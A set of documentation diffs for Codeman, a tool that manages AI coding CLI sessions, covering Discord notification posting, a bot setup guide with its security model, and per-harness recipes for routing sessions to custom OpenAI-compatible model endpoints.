- **The whole last message.** A finished turn or an error posts the CLI's whole last message, not the screen: `WebServer.lastResponseFor` is the response viewer's reader (the body of `GET /api/sessions/:id/last-response`, registered on the route context by `registerSessionRoutes`), so the source is the same per-CLI transcript, or the pane split into turns where a CLI keeps none; a dialog and a shell keep the screen tail (its composer row and the status lines under it cut, never a `❯ 1.` option row). The read is bounded to 4 s and any failure or empty read falls back to the screen. It is split into at most 8 posts of 1,900 characters, a cut code fence closed and reopened, and Markdown tables become aligned code blocks (the separator test strips whitespace first: a regex over a run of spaces is quadratic, and the text is steerable by whatever the agent read). The repeat check is keyed on the text plus the turn it came from (the transcript stamp, else the last submit) and is recorded only after the first post succeeds, so a failed post is sent again and a later turn ending on the same words is not dropped. Only some CLIs raise a turn end (`/api/hook-event`: Claude's `stop` and `idle_prompt`, DeepSeek's `stop`), so the others reach this path through errors, a blocked respawn or a crash loop.
- **Cost guards.** The alert tail is a function called only once a post will happen (no tmux exec while off), and `discord-notify` is a per-session token bucket (6 a minute, `429 RATE_LIMITED`).
+5 -1
View File
@@ -57,7 +57,11 @@ interface CliEntry {
// (where this CLI's own chrome names the model it runs: SessionState.displayModel)
// .launchDefaults?: { [launchParam]: settingsKey }
// (synced App Settings that seed a LOCAL launch's params the caller left unset;
// codex's model and reasoning effort, via src/web/launch-defaults.ts)
// codex's model, reasoning effort and network access, via src/web/launch-defaults.ts)
// .gates: { [name]: { minVersion, failClosed } }
// (version gates a `capabilityGate` launch condition names: claude's `--name`,
// codex's `--no-daemon`. Measured against THAT CLI's own version, never claude's:
// resolveSessionCliVersion, so an unknown version passes no fail-closed gate)
overlays: CliOverlays; // remote-SSH / Docker pane commands, credential store
}
```
+5 -3
View File
@@ -8,8 +8,10 @@ against a **cloud** OpenAI-compatible endpoint too (e.g. Azure AI Foundry's
OpenAI-compatible inference endpoint, OpenRouter, a self-hosted gateway).
Right now every Codeman session mode defaults to its native cloud backend
with no way to redirect a session at any other endpoint from the UI — the
closest existing precedent is DeepSeek's server-env-sourced
`DEEPSEEK_BASE_URL`, which isn't user-facing.
closest existing precedent was DeepSeek's server-env-sourced
`DEEPSEEK_BASE_URL`, which wasn't user-facing (that env redirect has since
been superseded by deepseek's per-session patch recipe, see the table
below).
**Scope note**: this plan originally said "local LLM." It now covers any
OpenAI-compatible endpoint the user configures — local (llama.cpp, Ollama,
@@ -112,7 +114,7 @@ declared capability, never an `if (mode === 'claude')` branch.
| `gemini` | Env vars `GOOGLE_GEMINI_BASE_URL` + `GEMINI_API_KEY` + `GEMINI_MODEL`; CLI needs a restart to pick them up | **Confirmed BROKEN against llama.cpp/llama-swap, unresolved after real investigation.** Setting `GOOGLE_GEMINI_BASE_URL` makes gemini-cli internally select an `AuthType.GATEWAY` auth path (undocumented — inferred from behaviour) with validation requirements distinct from every normal auth mode; a real run against llama-swap fails with `Invalid auth method selected` regardless of what key/format is supplied. Tried and all failed: a Google-format dummy API key, `GOOGLE_GENAI_USE_VERTEXAI=false`, a `GEMINI_DEFAULT_AUTH_TYPE` override, and hand-writing `settings.json` directly. `--skip-trust` was a real, separate fix (without it a trust-folder check silently overrides `--approval-mode yolo` back to `default`) but does not touch this auth failure. Documented as an open gap, not shipped as working — the registry entry and injection code exist and are exercised by the test script, but end-to-end gemini support needs upstream investigation of `GATEWAY` AuthType before it can be called done |
| `pi` | Config file `~/.pi/agent/models.json` with a custom provider whose `models` is an **array** of `{id}` objects (not an object keyed by id) plus `authHeader: true`. Redirected via the child process's own `HOME` env var, isolated per test/session — **not** `PI_CONFIG_DIR`, which does nothing for pi (grepped pi's entire bundled JS source: the string appears nowhere) | **Verified end-to-end** against a real llama-swap server — real "hello world" reply came back. Two real bugs found and fixed before this worked: (1) `PI_CONFIG_DIR` is not read by pi at all — pi hardcodes `~/.pi/agent/models.json` with no dedicated override, so the actual redirect has to be the child process's `HOME`; (2) `models` must be an array of `{id}` objects per pi's own bundled `docs/models.md`, not an object keyed by model id (silently loaded zero models). Also requires an explicit `--model custom/<id>` on invocation — without it pi falls back to its own default provider and fails with "No API key found for the selected model" |
| `grok` | TOML `config.toml`: a fixed `[model.codeman-custom]` block (`base_url`, `env_key` naming an env var the key rides in, never a literal TOML field) written to an isolated dir via `GROK_HOME`. Invoked with `-m codeman-custom` | **Verified end-to-end** against a real llama-swap server — real "hello world" reply came back. The ORIGINAL recipe in this table (env vars `GROK_BASE_URL`/`XAI_API_KEY`/`GROK_MODEL`) was flat-out **wrong**, not just unverified: it produced "Not signed in" against a real binary. Grok's real mechanism, confirmed against xAI's own docs and a live binary, is a `config.toml` with a `[model.<name>]` block, redirected via `GROK_HOME`; the key still rides as an env var (`XAI_API_KEY` via `env_key`), just referenced from the TOML rather than read directly |
| `deepseek` | Reuse the **existing** `DEEPSEEK_BASE_URL` + `DEEPSEEK_API_KEY` keys (already declared in `stock.ts`), now with `appendV1Suffix: true` (see confidence). Only `DEEPSEEK_BASE_URL` is in `privilegedEnvKeys` — `DEEPSEEK_API_KEY` deliberately stays clamp-exempt, since a non-granted owner supplying their OWN key removes privilege rather than granting it (adding it to the clamp list was a real regression, caught by `test/deepseek-mode.test.ts` and fixed before merge). No model-selection var — dsh model is a profile composition entry, not a flag/env var | **Root cause of the original `HTTP_404` found and fixed, by reading dsh's own bundled source — the same bar pi/grok's fixes were held to.** Installed `@deepseek-ai/dsh` (all its real published dependencies) into a scratch directory purely to read `@deepseek-ai/dsh-llm-deepseek/lib/index.js`: it builds its request as `fetch(\`${connection.baseURL}/chat/completions\`, ...)`with`baseURL`read straight from`DEEPSEEK_BASE_URL`(or defaulting to DeepSeek's real public API root,`https://api.deepseek.com`, which also carries no `/v1`) — no `/v1` insertion of dsh's own, unlike the OpenAI-SDK convention this recipe originally assumed. llama-swap/llama.cpp only ever serves the OpenAI-conventional `/v1/chat/completions`. Confirmed live: `POST <baseUrl>/chat/completions` → `404`, `POST <baseUrl>/v1/chat/completions` → `200`, on the exact same endpoint — and dsh's own error-message template, `DeepSeek API error (HTTP ${status})`, reproduces the originally reported `dsh: HTTP_404: DeepSeek API error (HTTP 404)` precisely. Fixed by adding `appendV1Suffix` (env kind only, deepseek's entry alone — claude/gemini must NOT get it, since claude was already confirmed working against the unmodified `baseUrl`), which runs `endpoint.baseUrl` through the same `withV1Suffix()` helper `configDir`-kind CLIs already use. ⚠️ Not yet re-run end-to-end with a real `dsh` binary — no install available in this environment (no npm-installed CLI binary in `PATH`, and the `codeman-test-picker` container doesn't bundle it either); the fix is source-confirmed and live-verified at the HTTP level, but a genuine "hello world" reply through `dsh` itself is the remaining step before promoting this to **verified** alongside claude/opencode/pi/grok/omp |
| `deepseek` | Per-session **`DSH_HOME` configDir recipe** (supersedes the original `DEEPSEEK_BASE_URL` + `appendV1Suffix` env redirect): an isolated dir holding only a generated `cordis.patch.yml`, a `codeman-custom` `openai-completions` provider (the base URL gets the `/v1` suffix from the shared `renderConfigFile` step), plus home-level `dsh-tui`/`agent-default-model` rows that select the exact model; the key is referenced by name via `apiKeyEnv: CODEMAN_CUSTOM_MODEL_API_KEY`, a dedicated var, because dsh's own `llm-deepseek`/`web-search-deepseek` patch rows read `DEEPSEEK_API_KEY`, and an in-session `/model` switch back to the official route must not carry the custom key to api.deepseek.com. `linkFromRealHome` + `linkFromRealHomeDirs` symlink `profiles`/`sessions` (directories, created if the real home never ran a turn) and `settings.yaml` back out of the real dsh home. `DSH_HOME` and `CODEMAN_CUSTOM_MODEL_API_KEY` are in `privilegedEnvKeys`; the operator's own `DEEPSEEK_API_KEY` handling (clamp-exempt, server-key forwarding) is unchanged | **Verified end-to-end against a real dsh install by the maintainer** (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1): `--dump-config` shows the three patched rows, the TUI boots on the chosen model, and a prompt reaches the endpoint as `POST /v1/chat/completions` with the right model, the bearer key and `max_tokens: 8192`, the reply renders and the context window shows in the footer. The original `HTTP_404` root cause stays documented in docs/custom-model-endpoints.md: dsh concatenates `/chat/completions` onto the raw base URL, which is why the env recipe needed `/v1` |
| `omp` | Config file `~/.omp/agent/models.yml` with the same array-shaped `models` + `authHeader: true` fix as pi. Redirected via `HOME`, same reasoning as pi (`PI_CONFIG_DIR` does not relocate omp's config either, despite an earlier CLAUDE.md note claiming it does) | **Verified end-to-end** against a real llama-swap server — real "hello world" reply came back, after applying the same two fixes as pi (array-shaped `models`, `HOME`-redirect instead of `PI_CONFIG_DIR`) plus an explicit `--model custom/<id>` on invocation. Unverified against omp's own official docs (none are bundled in the install), but empirically confirmed working live |
| `antigravity` | No CLI/env/config mechanism found — Antigravity's docs describe only a GUI settings panel, and explicitly say a custom endpoint "cannot currently" become the core reasoning model. **Not implemented**; toolbar entry stays disabled for this mode with an explanatory tooltip | No known mechanism |
+151 -44
View File
@@ -67,15 +67,23 @@ configured, `PUT`/`DELETE /api/model-endpoints/:id` update or remove one.
Endpoint management is admin-only in multi-user mode, same as remote/docker
hosts — these are machine-level infra, not per-user settings.
**Context length is discovered too, opportunistically and safely.** The plain
`GET /v1/models` response has no context-window field. Discovery only ever
looks for one for a model llama-swap's own response already reports
**Context length is discovered too, opportunistically and safely.** Older
servers state no context-window field in the plain `GET /v1/models`
response at all; current llama-swap states one per model (both
`context_length` and `context_window`) and gateways like Bifrost pass
`context_window` through: that listed figure is the *lowest*-precedence
source, used only when neither probe below answers, and because llama-swap
documents it as the PER-SLOT window, a model whose figure comes from the
listing is recorded with a slot count of 1 so the slot check never divides a
per-slot figure a second time. The probes are only ever looked for on a model
llama-swap's own response already reports
`status.value === "loaded"` for — never for an unloaded one, because
llama-swap treats `?model=` as a routing hint and asking about a model that
isn't loaded risks triggering an actual (slow, GPU-swapping) load as a side
effect of what should be read-only discovery. A server with no `status` field
on any entry at all (not llama-swap) gets no context-length enrichment,
rather than guessing. A model's previously-learned context length survives a
on any entry at all (not llama-swap) gets no launch-command/`/props`
enrichment, only whatever its listings state, rather than guessing. A
model's previously-learned context length survives a
later cycle where it wasn't the loaded one; it's dropped only once the model
disappears from the endpoint's list entirely. Stored per model in
`modelContextLengths` and applied automatically (see "Applying a model to a
@@ -192,32 +200,66 @@ saved default, not just confirming it.
The modal promotes exactly one row to the top of the list rather than
always showing raw discovery order, so the zero-wait choice is the one
under your thumb:
under your thumb. Three kinds of knowledge feed that promotion, best
evidence first, and the first one that answers wins:
- **"Currently loaded"** — a model from this host's own list that
- **"Currently loaded"** is a model from this host's own list that
llama-swap reports `ready` right now, queried via
`GET /api/model-endpoints/:id/running-status`. Bounded client-side to
~800ms (`Promise.race`), on top of the route's own 5s server-side
timeout, so an endpoint that is asleep or firewalled cannot leave the
modal invisible for the full 5s after the Run menu has already closed.
- **"Last used"** — shown only when nothing is currently loaded: the model
actually launched last for this exact (harness, endpoint) pair, read
from the per-device `codeman:customModelLastUsed:<mode>:<endpointId>`
localStorage key. Written by `_runCustomModelEntryViaRestart` (claude)
and `_quickStartWithCustomModelConfirm` (every one-shot launch; the
- **"In use by a session"** is the fallback for every endpoint that
cannot report its own loaded model, which is every server except
llama-swap: a bare llama.cpp, Ollama, vLLM, and a gateway such as
Bifrost fronting a whole fleet all answer `isLlamaSwap: false`.
`_getCustomModelInUseBySession` walks `this.sessions` for one of your own
sessions whose `customModel.endpointId` is this host, newest
`createdAt` wins, and promotes its model. A live session is first-hand
evidence of a model in use on the endpoint, because Codeman put it
there, so it earns the promotion and the tag says where the knowledge
came from. Two fences keep it honest: it reads only `customModel`,
never `displayModel` (display text scraped off a CLI footer, so a
terminal that merely printed a similar string must not mark a row),
and a session with `status: 'stopped'`, a null `pid` (its PTY exited,
the same live-pane test keep-warm applies) or a recorded `paneExit`
does not count, since nothing is on the endpoint any more. Sessions on other
endpoints, and models the host no longer discovers, are skipped.
- **"Last used"** appears only when neither of the above answers: the
model actually launched last for this exact (harness, endpoint) pair,
read from the per-device localStorage key
`codeman:customModelLastUsed:<mode>:<endpointId>`. That key is per CLI
on purpose, so it can only
ever promote the CLI that launched there before, which is why a gateway
box with no session running shows plain discovery order for the other
CLIs. Written by `_runCustomModelEntryViaRestart` (claude) and
`_quickStartWithCustomModelConfirm` (every one-shot launch; the
`runCustomModelEntry` entry point itself only dispatches between the
two) only once the model is actually applied, never on the mere click —
two) only once the model is actually applied, never on the mere click:
declining the context-window warning means this exact model cannot work
with this CLI at all, so promoting it next time would be actively wrong,
not just premature.
with this CLI at all, so promoting it next time would be actively
wrong, not just premature.
Neither tag reorders anything past that one promoted row. The "Default"
No promotion reorders anything past that one promoted row. The "Default"
pill is a separate span, not a third value of the same slot: a promoted
row that is also the endpoint's `defaultModelId` shows both tags (on a
single-purpose GPU box that is the common case, and an exclusive slot
silently dropped the Default marking for exactly that row), and a row
with neither promotion nor default shows no tag at all.
When nothing is known about any row, `#customModelPickUnknown` says so
out loud instead of leaving an alphabetical wall that reads as the app
ignoring the question. It shows when the probe answered
`isLlamaSwap: false`, which the route gives for every failure it
catches, so one answer covers a server that cannot report and an
endpoint that is down or refused alike; the line's wording therefore
claims only that nothing was reported. A probe that never got any
answer (`_getCustomModelRunningStatus` resolving `null`, Codeman's own
request failed or the client-side bound won) keeps the line hidden.
Like its sibling no-matches line it needs an
explicit `[hidden]` rule scoped to `#customModelPickModal`, because
`.form-hint`'s `display: block` outranks the UA `[hidden]` rule.
**How the launch itself applies the endpoint depends on the harness.** For
opencode, Codex, Gemini, Pi, Grok, DeepSeek and OMP (`runCustomModelEntry` →
`_runCustomModelEntryOneShot`), the endpoint/model is folded into the SAME
@@ -286,6 +328,15 @@ hot-swap. A Claude session is relaunched with `--resume <conversation> ||
grok are relaunched with the `--model` value that selects the injected
provider (`custom/<modelId>` for pi and omp, `codeman-custom` for grok),
since for those three the config file alone does not switch the model.
**Codex is relaunched with `--model <modelId>` too**, the bare selected id
(not a provider selector): the launch param forces the session onto the
model its generated `config.toml` already selected, so a launch-time model
carried over from App Settings can never override the injected selection.
That launch arg must satisfy the codex entry's `model-plain-colon` token
pattern (a leading letter or digit, then letters, digits and `._-:/`, per
`stock.ts`), so an id outside that shape, e.g. LM Studio's
`org/model@q4_k_m`, is refused with a 400 at apply time now, where a
`config.toml` alone used to carry it.
**Remote (SSH) and Docker sessions are refused** (400) for now: their restart
reattaches the durable remote/in-container tmux rather than relaunching the
agent, so the selection would report success and change nothing.
@@ -293,14 +344,16 @@ agent, so the selection would report success and change nothing.
**Claude gets two more env vars when known/applicable, both declared on its
registry entry (`contextLengthVar`/`configDirVar`), not hardcoded here:**
- `CLAUDE_CODE_MAX_CONTEXT_TOKENS` is set to `modelId`'s discovered context
length (see the discovery section above) whenever one is known. Without
- `CLAUDE_CODE_MAX_CONTEXT_TOKENS` is set to `modelId`'s context length:
the discovered figure (see the discovery section above), falling back to
the endpoint's user-set `defaultContextLength`, whenever one is known.
Without
it, Claude Code assumes a large (200k) window for any unrecognized custom
model id and never compacts, which reliably overflows a much smaller real
local context — confirmed live: a stock ~33.7K-token system prompt against
a 16384-token llama-swap model failed with `exceeds the available context
size`. No entry for the model in `modelContextLengths` means the var is
simply omitted, never a guess. ⚠️ **This var only affects when Claude
size`. Neither a `modelContextLengths` entry nor a `defaultContextLength`
for the model means the var is simply omitted, never a guess. ⚠️ **This var only affects when Claude
Code compacts conversation _history_ — it cannot fix a model whose real
context is smaller than Claude Code's own fixed per-turn overhead**
(system prompt + tool schemas, empirically ~36.4K tokens, confirmed live
@@ -331,7 +384,10 @@ size`. No entry for the model in `modelContextLengths` means the var is
included), user-level agents and commands, and the MCP servers configured
in `~/.claude.json` — none of those are symlinked back, only `projects` is.
A fine trade for "point this session at my local llama.cpp," but worth
knowing before it surprises you mid-session.
knowing before it surprises you mid-session. A session on its own
`CLAUDE_CONFIG_DIR` links `projects` from that directory instead, so its
conversation, and what the endpoint run adds to it, stay on its own account
across an apply and a clear.
**That isolated directory needed one more fix to actually be usable
non-interactively.** An otherwise-empty `CLAUDE_CONFIG_DIR` has none of a
@@ -441,15 +497,17 @@ Both apply routes (the restart route and the one-shot `POST
/api/quick-start`) now check for this **before** launching or restarting
anything, gated on the CLI's registry entry declaring a `contextLengthVar`
(currently only claude — the check is a no-op for every other CLI by
construction, never a hardcoded mode check). If the model's discovered
context (`modelContextLengths`, from discovery above) is below
`CLAUDE_MIN_SAFE_CONTEXT_TOKENS` (40000, comfortably above the measured
construction, never a hardcoded mode check). If the model's context (the
discovered figure from `modelContextLengths`, or the endpoint's
`defaultContextLength` when discovery never learned one for that model) is
below `CLAUDE_MIN_SAFE_CONTEXT_TOKENS` (40000, comfortably above the measured
~36.4K overhead), the response is `{requiresContextWarning: true, modelId,
contextLength, minSafeContextTokens}` (plus `slotCount` when the model runs more than one parallel slot) instead of applying — nothing is
restarted or created yet. A context length that was never discovered at
all skips the check entirely (nothing to compare, so it fails open rather
than warning on every model an endpoint hasn't reported a size for).
The same warning fires when the context divided across the model's parallel slots (`contextLength / slotCount`) is below the floor, because Claude Code sends several 40K-token requests at once and the slots share one pool. Retrying with `confirmedContext: true` launches anyway (the legacy `confirmed: true` still means both questions).
restarted or created yet. A model with neither a discovered figure nor a
`defaultContextLength` skips the check entirely (nothing to compare, so it
fails open rather than warning on every model an endpoint hasn't reported a
size for).
The same warning fires when the context divided across the model's parallel slots (`contextLength / slotCount`) is below the floor, because Claude Code sends several 40K-token requests at once and the slots share one pool. ⚠️ `defaultContextLength` is the model's whole window, never a per-slot figure, so a default small enough to split under the slot count trips that slot division exactly like a discovered figure does. Retrying with `confirmedContext: true` launches anyway (the legacy `confirmed: true` still means both questions).
The Run-menu picker shows this as an in-app modal
(`#customModelContextWarningModal`, matching the llama-swap conflict
@@ -480,13 +538,31 @@ id, model and injected key NAMES are persisted, the values are re-derived
from the endpoint store on recovery, and the pane keeps running against the
endpoint in between because tmux retains its environment.
⚠️ Clearing removes injected keys **by name**, and `CLAUDE_CONFIG_DIR` is one
of the names claude's selection injects — so a session that ALSO had
`CLAUDE_CONFIG_DIR` set through the generic `envOverrides` field (the
per-client-account case) loses that override on clear too, and silently
falls back to the server's default Claude account. If you route a session
to a specific account this way, re-apply the override after clearing a
custom-model selection from it.
A value the session set itself under an injected key comes back when the
selection goes, on a clear or a switch to another endpoint. That is what
keeps a session on its own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME`, and on
its own account through `CLAUDE_CONFIG_DIR` (the per-client-account case).
The launch model goes the same way: a clear relaunches on the model the session
was created with, or with none if it was created without one. A session an
older build launched straight onto an endpoint saved that endpoint's model in
its config, so its clear still relaunches on that id.
⚠️ Across a Codeman restart only the home directory comes back, and only as
an absolute path. The selection overwrote the tmux `setenv` that held it, so
its record in `state.json` keeps that one path (`ownEnv`), and a non-granted
owner loses it at recovery like any other privileged override. Any other own
value can be a credential and stays in memory: a session that set its own
`GEMINI_API_KEY`, picked an endpoint and then outlived a restart falls back to
the server's key on clear. A selection saved by an older build has no such
record, so its first clear still falls back to the server's default.
⚠️ That record only exists when the selection was made before the restart. An
own `DSH_HOME`, `CODEX_HOME` or `GROK_HOME` on a session with no selection is
not persisted at all (a session's overrides keep only `CLAUDE_CODE_*` and
`CLAUDE_CONFIG_DIR`), so a Codeman restart leaves nothing to record: an
endpoint picked after it, and cleared later, falls back to the server's
default. `CLAUDE_CONFIG_DIR` does not have this gap.
**New sessions always default back to the harness's native backend.** A
custom-endpoint selection is a per-session choice, never a sticky global
@@ -526,7 +602,12 @@ for '<id>' not found. Defaulting to fallback metadata...` on launch —
and fabricating a fake catalog entry would mean copying the _shape_ of
OpenAI's own proprietary schema (their per-model system-prompt content
included) for a warning that doesn't otherwise affect behavior — not
something to build into discovery.
something to build into discovery. ⚠️ The fallback-metadata warning is
NOT about the context window going un-overridden. Codex does now get a
real context-window override: when a figure is known the generated
`config.toml` sets the top-level `model_context_window` to it and
`model_auto_compact_token_limit` to 75% of it (floored), so Codex
compacts at that point instead of trusting its fallback guess.
- **Gemini** — fails with `Invalid auth method selected`, traced to an
undocumented `GATEWAY` auth path gemini-cli selects once
`GOOGLE_GEMINI_BASE_URL` is set. Unresolved after real investigation
@@ -541,14 +622,40 @@ for '<id>' not found. Defaulting to fallback metadata...` on launch —
`POST <baseUrl>/chat/completions` 404s against llama-swap while
`POST <baseUrl>/v1/chat/completions` succeeds; the harness's own error
template (`DeepSeek API error (HTTP ${status})`) matches the originally
reported symptom exactly. `customModelInjection`'s new `appendV1Suffix`
(deepseek's entry only — claude/gemini must NOT get it, since claude was
already confirmed working against the raw `baseUrl`) fixes it by writing
`DEEPSEEK_BASE_URL` with `/v1` appended. Not yet re-run end-to-end with a
real `dsh` binary (no install available in this environment) — the fix
is source-confirmed and live-verified at the HTTP level, but a real
"hello world" reply through `dsh` itself is still outstanding before
calling this fully verified like the harnesses above.
reported symptom exactly. The fix is no longer the original env redirect:
deepseek's `customModelInjection` is a `configDir` recipe: a per-session
`DSH_HOME` holding only a generated `cordis.patch.yml` that declares a
`codeman-custom` `openai-completions` provider (the base URL gets the `/v1`
suffix from the shared `renderConfigFile` step every file template goes
through), so the installed profile keeps supplying the transport; the
recipe's `linkFromRealHome` field symlinks `profiles`, `sessions` and
`settings.yaml` back out of the real dsh home so installed bundles,
transcripts and user settings all survive the redirect (missing
directory entries are created first: a home that has never run a
turn would otherwise get a dangling link whose every write through
it failed with ENOENT). **Verified end-to-end against a real dsh
install by the maintainer** (dsh 0.1.1-rc.2, dsh-TUI 0.10.0-beta.1):
`--dump-config` shows the three patched rows, the TUI boots on the
chosen model, and a prompt reaches the endpoint as
`POST /v1/chat/completions` with the right model, the bearer key and
`max_tokens: 8192`; the reply renders and the context window shows in
the footer. What such a session SHARES with the real home is
exactly the linked entries: `profiles/`, `sessions/`,
`settings.yaml`. The last is shared only until the session writes
it: dsh saves settings with a temp file and a rename
(`writeFileAtomic` in `@deepseek-ai/dsh-atomic-write`), which replaces
the symlink, so the first `/settings` change inside such a session
never reaches `~/.dsh/settings.yaml` and is deleted with the session's
directory on clear or close. Everything else in the generated `DSH_HOME` is
isolated: `storages/` (dsh-TUI's persisted `/model` choice and
workspace state), `.agent-presets` and `.env`. Two consequences of
the generated home-level file follow: the user's own home-level
`cordis.patch.yml` does NOT apply in such a session (the generated
file replaces it; profile-level patch files reached through the
linked `profiles/` still compose), and the generated patch REPLACES
the `llm-pi-ai` provider row's whole `config` for the session. Note
too that it likewise REPLACES the `dsh-tui` row's whole `config`, so
a profile-level `effort`/`preset` does not apply.
- **Antigravity** — no known custom-endpoint mechanism at all; unsupported.
See the confidence table in `custom-model-endpoints-plan.md` for the full detail behind
+137
View File
@@ -0,0 +1,137 @@
# Discord bridge
Codeman can post to a private Discord server when a session needs you, give every tab its own thread, and type your thread reply into that tab. It only makes outbound connections, so Codeman is not exposed to the internet and it works when you are away from your network.
> [!WARNING]
> A reply from an allowed Discord account is typed into agents that can run shell commands. Treat that Discord account like a login to the machine: turn on 2FA and use a strong, unique password.
## What it does
- Posts when a session asks for permission, asks a question, goes idle or errors. Which of these a CLI can raise depends on the hooks it has: Claude Code sends a turn end (`stop`, an `info` event that posts only when **Which events** is set to Everything, and `idle_prompt`, which posts by default after the turn has waited a minute). DeepSeek Harness sends only `stop`. Codex, OMP, OpenCode, Gemini, Antigravity, Pi, Grok and Copilot send no turn end, so they reach Discord through an error, a blocked respawn, a stopped crash loop or their own `codeman notify`; Codex's permission and question dialogs are also read off its screen.
- Posts a finished turn, and an error or blocked alert, as the CLI's whole last message, with its bold, lists and numbered questions kept (a Markdown table, which Discord cannot draw, becomes an aligned code block), split over several posts if it is long. It reads the CLI's transcript where it keeps one (Claude Code, Codex, DeepSeek Harness, OMP) and otherwise splits the screen into turns (OpenCode, Gemini, Antigravity, Pi, Grok, Copilot), which can start mid-message when a long answer has scrolled off. A shell, and a permission or question dialog, show the last lines of the screen instead, without the prompt row and status lines under them.
- Creates one thread per tab in a single parent channel, so a reply always reaches exactly one session.
- Types your reply into that session as a single line followed by Enter. A single digit sent while a permission or question is waiting goes as the key alone, without Enter, because the dialog acts on the keypress.
- Lets a CLI post a deliberate message (for example "press the reset button on the case") with the `codeman notify` command, which calls `POST /api/sessions/:id/discord-notify`. Each tab may post 6 a minute; past that the command says "too many messages", so a looping agent cannot ping your phone without end.
- Saves files you attach in a thread into that tab's working folder and tells the CLI the path. A CLI can send a file back with `codeman notify "message" --file <path>`.
- Tells each CLI about `codeman notify` (see [Telling the CLIs](#telling-the-clis)).
## Setup
Do these once, in order. Never paste the bot token into a chat or a session.
### 1. Create a private server
1. In Discord choose **Add a Server**, **Create My Own**, **For me and my friends**.
2. Invite nobody and create no invite links.
3. Create one text channel, for example `#codeman-cli`.
### 2. Copy the IDs
1. Open **User Settings**, **Advanced** and turn on **Developer Mode**.
2. Right-click the server, the channel and your own avatar, and choose **Copy ID** for each. You need the guild ID, the parent channel ID and your user ID.
### 3. Create the application
1. Go to <https://discord.com/developers/applications> and choose **New Application**.
2. Name it `Codeman`.
### 4. Configure the bot
On the **Bot** tab:
1. Choose **Reset Token** and copy it. It is shown once.
2. Turn **Public Bot** off, so nobody else can add it. Discord refuses this while the app has a default install link, so first open the **Installation** tab, set **Install Link** to **None** (untick Guild Install and User Install if it will not save) and save, then come back here.
3. Leave **Requires OAuth2 Code Grant** off.
4. Under **Privileged Gateway Intents** turn **Message Content Intent** on. Leave **Server Members Intent** and **Presence Intent** off.
### 5. Invite the bot with minimal permissions
On **OAuth2**, **URL Generator**:
1. Tick the scope `bot` only. Do not tick `applications.commands` or anything else.
2. Tick only these permissions (Attach Files and Embed Links are optional: without them, files cannot be sent from a CLI and links show no preview):
| Permission | Why |
| ------------------------ | ------------------------------------ |
| View Channels | See the parent channel |
| Send Messages | Post in the parent channel |
| Send Messages in Threads | Post in each tab's thread |
| Create Public Threads | Make a thread per tab |
| Read Message History | Read your replies |
| Add Reactions | Acknowledge a reply that was typed |
| Attach Files | Send a file from a CLI to the thread |
| Embed Links | Show previews for links in posts |
3. Open the generated URL, choose your private server and authorise.
4. Check the **Installation** tab still shows **Install Link: None**, so there is no public way to add the bot.
The ticked boxes are the source of truth. As a cross-check, these eight permissions add up to the permissions integer `309237763136`.
### 6. Optional: allow deleting threads
Only needed for `onSessionDelete: delete`. Give the bot role **Manage Threads** on the parent channel only, as a channel permission override and not server-wide. Skip this if you are happy to keep or archive threads.
### 7. Never grant
Administrator, Manage Channels, Manage Roles, Manage Messages, Mention Everyone, or any voice permission.
### 8. Configure Codeman
1. Open **Settings**, **Notifications**, then the **Discord** group.
2. Enter the bot token, guild ID, parent channel ID and your user ID in the allowlist.
3. Choose the options below and press **Send test**. A test message should appear in the channel.
The token is stored in `~/.codeman/discord.json` with mode 0600. It is never returned by the API, written to logs or sent over SSE.
### 9. Phone alerts
In the Discord mobile app set the server to **All Messages**. Discord's own push notification is what reaches you off-network.
## Options
| Option | Values | Default | Effect |
| ----------------- | --------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `threadCreation` | `lazy`, `onSessionStart` | `lazy` | `lazy` makes a thread on the first notification. `onSessionStart` makes one per new tab |
| `onSessionDelete` | `keep`, `archive`, `delete` | `archive` | What happens to the thread when its tab is deleted. `delete` needs Manage Threads |
| `staleThreads` | `keep`, `archive`, `delete` | `keep` | What happens to threads this bot made that no tab uses any more, checked after startup and then daily. A deleted tab's thread leaves the map, so this also archives or deletes threads that `onSessionDelete` kept or archived. Skips threads under an hour old, other people's threads and other channels, does nothing while the thread map is empty, and closes at most 25 per run. `delete` needs Manage Threads. Use one channel per Codeman |
| `pingMode` | `off`, `critical`, `all` | `critical` | `critical` pings you for permission prompts, questions, errors and urgent posts |
| `scope` | `attention`, `all` | `attention` | `attention` skips the quiet "response complete" event. `all` sends it too |
| `startupHint` | on, off | on | Tell Claude about `codeman notify` in its system prompt at launch |
## Telling the CLIs
A CLI only posts deliberately if it knows it can. While the bridge is on:
- **Claude** (`startupHint`, on by default) is launched with `--append-system-prompt`, so nothing shows in the conversation. This reaches local tabs only: remote (ssh) and Docker launches are built outside the CLI registry, and have no `codeman` command anyway.
- **Every other CLI** is sent nothing: there is no silent way to tell it, and typing the note as a message would cost a model turn per tab. It can still run `codeman notify` if you tell it to.
The text explains `codeman notify "message" --urgent`. `codeman` is on the PATH of every session from the installer or an npm install (a git checkout run without the installer has no `codeman` command) and reads `CODEMAN_SESSION_ID` and `CODEMAN_API_URL`, so no other setup is needed. Without a bridge it prints that the bridge is off and exits cleanly. Tabs started before the bridge was enabled are not told; use the skill or `CLAUDE.md` for those.
## Files
- **Received:** files you attach to a reply from an allowed user are saved as `<working folder>/.codeman-discord/<message id>-<name>` (mode 0600) and the one-line reply the CLI sees ends with `[attached: <paths>]`. At most 5 files of 8 MB each; names are reduced to letters, digits, `.`, `_` and `-`; only Discord's own HTTPS addresses are fetched. Anything skipped is named in the thread. The folder ignores itself (it holds a `.gitignore` of `*`), so nothing in it is committed. Remote (ssh) tabs have no local folder, so no file is saved for them.
- **Sent:** `codeman notify "message" --file <path>` uploads a regular file of at most 8 MB. The real path (symlinks followed) must be inside the tab's working folder, and a file on the attachment blocklist (`.env`, keys under `.ssh`, Codeman's own state) is refused even there, which stops an upload of something sensitive by mistake. The agent runs as your user, so this is a guard against accidents, not a sandbox. Remote tabs cannot send files.
- A downloaded file is untrusted content: only allowed users can send one, but a CLI that opens it is exposed to anything written inside it.
## Security model
- Only messages from IDs in `allowedUserIds`, in the configured guild, inside a thread Codeman created, are acted on. Everything else is dropped.
- A reply is reduced to one line, stripped of control characters and capped in length before it is typed.
- Replies are rate limited per session.
- A Discord outage or a bad token never affects sessions. The bridge backs off, and the last error shows in Settings.
## Rotating and revoking
